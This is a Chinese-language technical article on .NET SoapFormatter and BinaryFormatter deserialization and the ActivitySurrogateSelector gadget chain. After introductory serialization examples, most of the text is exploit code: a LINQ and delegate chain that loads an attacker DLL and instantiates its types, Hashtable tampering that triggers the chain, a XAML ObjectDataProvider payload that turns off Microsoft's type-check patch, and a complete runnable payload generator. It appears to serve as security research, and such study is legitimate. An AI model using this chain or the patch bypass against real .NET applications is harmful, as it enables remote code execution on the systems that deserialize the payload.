SoapFormatter 反序列化与ActivitySurrogateSelector gadgets
字数 1063 2025-08-20 18:17:59
SoapFormatter 反序列化与ActivitySurrogateSelector Gadgets 技术分析
1. SoapFormatter 概述
SoapFormatter 是 .NET 框架中用于生成基于 XML 的 SOAP 数据流的类,位于 System.Runtime.Serialization.Formatters.Soap 命名空间。它实现了 IRemotingFormatter 和 IFormatter 接口。
基本用法示例
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;
namespace SoapDeserializationTest
{
[Serializable]
public class Person
{
public string Name { get; set; }
public string FirstName { get; set; }
}
internal class Program
{
static void Main(string[] args)
{
Person person = new Person();
person.Name = "guess";
person.FirstName = "EX";
SoapFormatter soapFormatter = new SoapFormatter();
using (var memoryStream = new MemoryStream())
{
soapFormatter.Serialize(memoryStream, person);
memoryStream.Position = 0;
string soap = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(Encoding.Default.GetString(memoryStream.ToArray()));
}
Console.ReadLine();
}
}
}
2. SerializationSurrogate 机制
SerializationSurrogate(序列化代理)允许不可序列化的类通过代理进行序列化和反序列化操作。实现 ISerializationSurrogate 接口需要实现 SetObjectData 和 GetObjectData 方法。
示例实现
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;
namespace SoapDeserializationTest
{
public class Person
{
public string Name { get; set; }
public string FirstName { get; set; }
}
public class PersonSurrogateSelector : ISerializationSurrogate
{
public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
{
Person person = (Person)obj;
info.AddValue("PersonName", person.Name);
}
public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
{
Person person = (Person)obj;
person.Name = info.GetString("PersonName");
return person;
}
}
internal class Program
{
static void Main(string[] args)
{
Person person = new Person();
person.Name = "guess";
person.FirstName = "EX";
SoapFormatter soapFormatter = new SoapFormatter();
PersonSurrogateSelector personSurrogateSelector = new PersonSurrogateSelector();
SurrogateSelector surrogateSelector = new SurrogateSelector();
surrogateSelector.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), personSurrogateSelector);
soapFormatter.SurrogateSelector = surrogateSelector;
using (var memoryStream = new MemoryStream())
{
soapFormatter.Serialize(memoryStream, person);
memoryStream.Position = 0;
string soap = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(Encoding.Default.GetString(memoryStream.ToArray()));
soapFormatter.Deserialize(memoryStream);
}
Console.ReadLine();
}
}
}
3. SurrogateSelector 工作原理
SurrogateSelector 是代理选择器,位于 System.Runtime.Serialization 命名空间,允许序列化和反序列化原本不能被序列化的类。
自定义 SurrogateSelector 示例
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
4. ActivitySurrogateSelector 利用
ActivitySurrogateSelector 位于 System.Workflow.ComponentModel.Serialization 命名空间,可用于序列化 Activity 的代理。
关键利用代码
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
SoapFormatter soapFormatter1 = new SoapFormatter();
MemoryStream memoryStream = new MemoryStream();
soapFormatter1.SurrogateSelector = new MySurrogateSelector();
soapFormatter1.Serialize(memoryStream, new NonSerializable("Hello World!"));
memoryStream.Position = 0;
SoapFormatter soapFormatter2 = new SoapFormatter();
Console.WriteLine(soapFormatter2.Deserialize(memoryStream));
ActivitySurrogateSelector.ObjectSurrogate 关键方法
public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
{
if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck && !(obj is ActivityBind) && !(obj is DependencyObject))
{
throw new ArgumentException("obj");
}
info.AddValue("type", obj.GetType());
string[] names = null;
MemberInfo[] serializableMembers = FormatterServicesNoSerializableCheck.GetSerializableMembers(obj.GetType(), out names);
object[] objectData = FormatterServices.GetObjectData(obj, serializableMembers);
info.AddValue("memberDatas", objectData);
info.SetType(typeof(ObjectSerializedRef));
}
5. LINQ 与委托结合利用
利用 LINQ 的延迟执行特性和委托机制构造执行链:
List<byte[]> bytesFile = new List<byte[]>();
bytesFile.Add(File.ReadAllBytes(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ExploitClass.dll"));
var e1 = bytesFile.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> MyGetTypes = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(
typeof(Func<Assembly, IEnumerable<Type>>),
typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(MyGetTypes);
var e3 = e2.Select(Activator.CreateInstance);
6. 完整利用链构造
执行链转换
// PagedDataSource 将 IEnumerable 转换为 ICollection
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
// AggregateDictionary 将 ICollection 转换为 IDictionary
IDictionary dict = (IDictionary)Activator.CreateInstance(
typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"),
pds);
// DesignerVerb 在 ToString 调用时会查询 IDictionary
DesignerVerb verb = new DesignerVerb("XYZ", null);
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance)
.SetValue(verb, dict);
触发机制
通过 Hashtable 的异常处理触发 ToString 调用:
Hashtable ht = new Hashtable();
ht.Add(verb, "Hello");
ht.Add("Dummy", "Hello2");
// 通过反射修改 Hashtable 内部结构
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
7. 补丁绕过技术
在 .NET 4.8 之后,微软通过检查 DisableActivitySurrogateSelectorTypeCheck 设置来修复漏洞。可以通过 XAML 注入来设置该值:
<ResourceDictionary
xmlns="https://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="https://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Configuration;assembly=System.Configuration"
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib">
<ObjectDataProvider x:Key="type" ObjectType="{x:Type s:Type}" MethodName="GetType">
<ObjectDataProvider.MethodParameters>
<s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="field" ObjectInstance="{StaticResource type}" MethodName="GetField">
<ObjectDataProvider.MethodParameters>
<s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
<r:BindingFlags>40</r:BindingFlags>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="set" ObjectInstance="{StaticResource field}" MethodName="SetValue">
<ObjectDataProvider.MethodParameters>
<s:Object/>
<s:Boolean>true</s:Boolean>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key="setMethod" ObjectInstance="{x:Static c:ConfigurationManager.AppSettings}" MethodName ="Set">
<ObjectDataProvider.MethodParameters>
<s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
<s:String>true</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
8. 完整利用代码示例
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;
using System.Web.UI.WebControls;
using System.ComponentModel.Design;
using System.Collections;
namespace ActivitySurrogateSelectorGeneratorTest
{
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
[Serializable]
public class PayloadClass : ISerializable
{
public byte[] GadgetChains()
{
List<byte[]> bytesFile = new List<byte[]>();
bytesFile.Add(File.ReadAllBytes(@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ExploitClass.dll"));
var e1 = bytesFile.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> MyGetTypes = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(MyGetTypes);
var e3 = e2.Select(Activator.CreateInstance);
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
DesignerVerb verb = new DesignerVerb("XYZ", null);
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
List<object> ls = new List<object>();
ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(pds); ls.Add(verb); ls.Add(dict);
Hashtable ht = new Hashtable();
ht.Add(verb, "Hello");
ht.Add("Dummy", "Hello2");
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
ls.Add(ht);
BinaryFormatter fmt1 = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt1.SurrogateSelector = new MySurrogateSelector();
fmt1.Serialize(stm, ls);
return stm.ToArray();
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Windows.Forms.AxHost.State));
info.AddValue("PropertyBagBinary", GadgetChains());
}
}
class Program
{
static void Main(string[] args)
{
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
BinaryFormatter fmt1 = new BinaryFormatter();
BinaryFormatter fmt2 = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
PayloadClass test = new PayloadClass();
fmt1.SurrogateSelector = new MySurrogateSelector();
fmt1.Serialize(stm, test);
stm.Seek(0, SeekOrigin.Begin);
fmt2.Deserialize(stm);
}
}
}